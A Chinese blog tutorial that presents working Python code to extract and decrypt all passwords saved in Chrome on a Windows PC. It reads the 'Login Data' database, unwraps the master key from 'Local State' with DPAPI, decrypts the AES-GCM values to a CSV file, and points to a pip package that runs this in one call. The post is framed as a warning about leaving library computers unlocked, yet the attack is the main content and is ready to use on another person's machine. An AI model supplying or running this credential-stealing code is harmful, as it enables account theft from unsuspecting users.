Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python实现在pickling的时候压缩的方法
Sep 25 Python
跟老齐学Python之模块的加载
Oct 24 Python
python让图片按照exif信息里的创建时间进行排序的方法
Mar 16 Python
python解决网站的反爬虫策略总结
Oct 26 Python
Python功能点实现:函数级/代码块级计时器
Jan 02 Python
Python饼状图的绘制实例
Jan 15 Python
django 2.2和mysql使用的常见问题
Jul 18 Python
Python实现PyPDF2处理PDF文件的方法示例
Sep 25 Python
3行Python代码实现图像照片抠图和换底色的方法
Oct 10 Python
tensorflow 保存模型和取出中间权重例子
Jan 24 Python
基于Python脚本实现邮件报警功能
May 20 Python
pytorch中的model=model.to(device)使用说明
May 24 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
Smarty安装配置方法
2008/04/10 PHP
用 Javascript 验证表单(form)中的单选(radio)值
2009/09/08 Javascript
学习ExtJS form布局
2009/10/08 Javascript
jQuery1.3.2 升级到jQuery1.4.4需要修改的地方
2011/01/06 Javascript
基于jquery实现漂亮的动态信息提示效果
2011/08/02 Javascript
利用JQuery制作符合Web标准的QQ弹出消息
2014/01/14 Javascript
JQuery实现可直接编辑的表格
2015/04/16 Javascript
jquery实现转盘抽奖功能
2017/01/06 Javascript
自带气泡提示的vue校验插件(vue-verify-pop)
2017/04/07 Javascript
JS实现的加减乘除四则运算计算器示例
2017/08/09 Javascript
vue路由跳转时判断用户是否登录功能的实现
2017/10/26 Javascript
使用 electron 实现类似新版 QQ 的登录界面效果(阴影、背景动画、窗体3D翻转)
2018/10/23 Javascript
vue mounted 调用两次的完美解决办法
2018/10/29 Javascript
详解微信小程序中组件通讯
2018/10/30 Javascript
Vue 中如何正确引入第三方模块的方法步骤
2019/05/05 Javascript
koa2 从入门到精通(小结)
2019/07/23 Javascript
vue实现输入框的模糊查询的示例代码(节流函数的应用场景)
2019/09/01 Javascript
解决layui table表单提示数据接口请求异常的问题
2019/09/24 Javascript
axios 实现post请求时把对象obj数据转为formdata
2019/10/31 Javascript
2020京东618叠蛋糕js脚本(亲测好用)
2020/06/02 Javascript
JS实现简易贪吃蛇游戏
2020/08/24 Javascript
Python中列表和元组的相关语句和方法讲解
2015/08/20 Python
Python语言实现获取主机名根据端口杀死进程
2016/03/31 Python
详解Python中is和==的区别
2019/03/21 Python
python获取Linux发行版名称
2019/08/30 Python
Python 字符串、列表、元组的截取与切片操作示例
2019/09/17 Python
python实现简单坦克大战
2020/03/27 Python
Python HTTP下载文件并显示下载进度条功能的实现
2020/04/02 Python
html5本地存储 localStorage操作使用详解
2016/09/20 HTML / CSS
廉价航班、机票和酒店:JustFly
2018/02/07 全球购物
介绍一下SQL Server的全文索引
2013/08/15 面试题
综合测评自我鉴定
2013/10/08 职场文书
主题婚礼策划方案
2014/02/10 职场文书
团队会宣传标语
2014/10/09 职场文书
2016年师德先进个人事迹材料
2016/02/29 职场文书
MongoDB balancer的使用详解
2021/04/30 MongoDB